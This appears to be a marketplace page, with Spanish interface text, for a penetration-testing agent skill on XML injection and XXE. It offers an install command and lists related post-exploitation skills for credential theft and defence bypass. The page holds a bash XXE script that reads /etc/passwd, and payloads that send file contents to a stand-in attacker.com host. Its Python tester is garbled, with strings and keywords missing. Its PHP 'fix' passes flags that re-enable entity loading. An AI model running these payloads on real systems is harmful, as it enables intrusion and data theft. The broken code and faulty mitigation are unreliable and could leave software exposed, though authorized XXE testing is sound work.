Menú
De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.
Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-07El comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Mostrando SKILL.md
Basado en la clasificación ocupacional SOC
| name | wstg-inpv-07 |
| description | Testing for XML Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-07 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["xml","xpath"] |
| cwe_ids | ["CWE-91"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-07
Testing for XML Injection
XML Injection occurs when user input is incorporated into XML documents without proper validation or encoding. This includes XML External Entity (XXE) injection, XPath injection, and XML tag injection. These vulnerabilities can lead to data disclosure, server-side request forgery, denial of service, or remote code execution.
#!/bin/bash
TARGET="https://target.com/api/process"
# Test basic XXE
echo "[*] Testing for XXE..."
XXE_PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>'
curl -s -X POST "$TARGET" \
-H "Content-Type: application/xml" \
-d "$XXE_PAYLOAD"
# Test with PHP wrapper
XXE_PHP='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>'
curl -s -X POST "$TARGET" \
-H "Content-Type: application/xml" \
-d "$XXE_PHP"
#!/usr/bin/env python3
"""
XML Injection Vulnerability Tester (including XXE)
"""
requests
base64
re
:
():
.url = url
.findings = []
.session = requests.Session()
XXE_PAYLOADS = {
: ,
: ,
: ,
: ,
: ,
: ,
}
XML_ERRORS = [
,
,
,
,
,
,
,
,
,
,
]
():
()
name, payload [
(, .XXE_PAYLOADS[]),
(, .XXE_PAYLOADS[]),
(, .XXE_PAYLOADS[]),
]:
:
response = .session.post(
.url,
data=payload,
headers={: }
)
response.text response.text:
()
.findings.append({
: ,
: name,
:
})
base64_pattern = re.search(, response.text)
base64_pattern:
:
decoded = base64.b64decode(base64_pattern.group())
decoded:
()
.findings.append({
: ,
:
})
:
Exception e:
():
()
:
response = .session.post(
.url,
data=.XXE_PAYLOADS[],
headers={: },
timeout=
)
response.text response.text:
()
.findings.append({
: ,
: ,
:
})
Exception e:
():
()
blind_payload =
()
()
():
()
payloads = [
,
,
,
]
payload payloads:
xml_doc =
:
response = .session.post(
.url,
data=xml_doc,
headers={: }
)
response.text response.status_code == :
()
Exception e:
():
()
mini_bomb =
:
response = .session.post(
.url,
data=mini_bomb,
headers={: },
timeout=
)
response.text:
()
.findings.append({
: ,
: ,
:
})
requests.exceptions.Timeout:
()
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
f:
()
():
.test_xxe_file_read()
.test_xxe_ssrf()
.test_blind_xxe()
.test_xml_tag_injection()
.test_dos()
.generate_report()
tester = XMLInjectionTester()
tester.run_tests()
<!-- Basic XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- XXE via Parameter Entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
]>
<!-- Blind XXE with external DTD -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
<foo>test</foo>
<!-- evil.dtd on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
<!-- XXE in SVG -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- XXE in SOAP -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<data>&xxe;</data>
</soap:Body>
</soap:Envelope>
| Tool | Purpose |
|---|---|
| Burp Suite | XXE testing |
| XXEinjector | Automated XXE |
| OXML_XXE | Office XXE |
| xxe-recursive-download | File exfiltration |
// Java - Disable external entities
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
# Python - defusedxml
from defusedxml import ElementTree
tree = ElementTree.parse(xml_file)
# Or configure lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
<?php
// PHP - Disable external entities
libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
| Finding | CVSS | Severity |
|---|---|---|
| XXE file read | 9.1 | Critical |
| XXE SSRF | 9.1 | Critical |
| Blind XXE | 7.5 | High |
| XML DoS (Billion Laughs) | 7.5 | High |
| CWE ID | Title |
|---|---|
| CWE-611 | Improper Restriction of XML External Entity Reference |
| CWE-91 | XML Injection |
[ ] XXE file read tested
[ ] XXE SSRF tested
[ ] Blind XXE tested
[ ] XML DoS tested
[ ] Tag injection tested
[ ] Different file protocols tested
[ ] Findings documented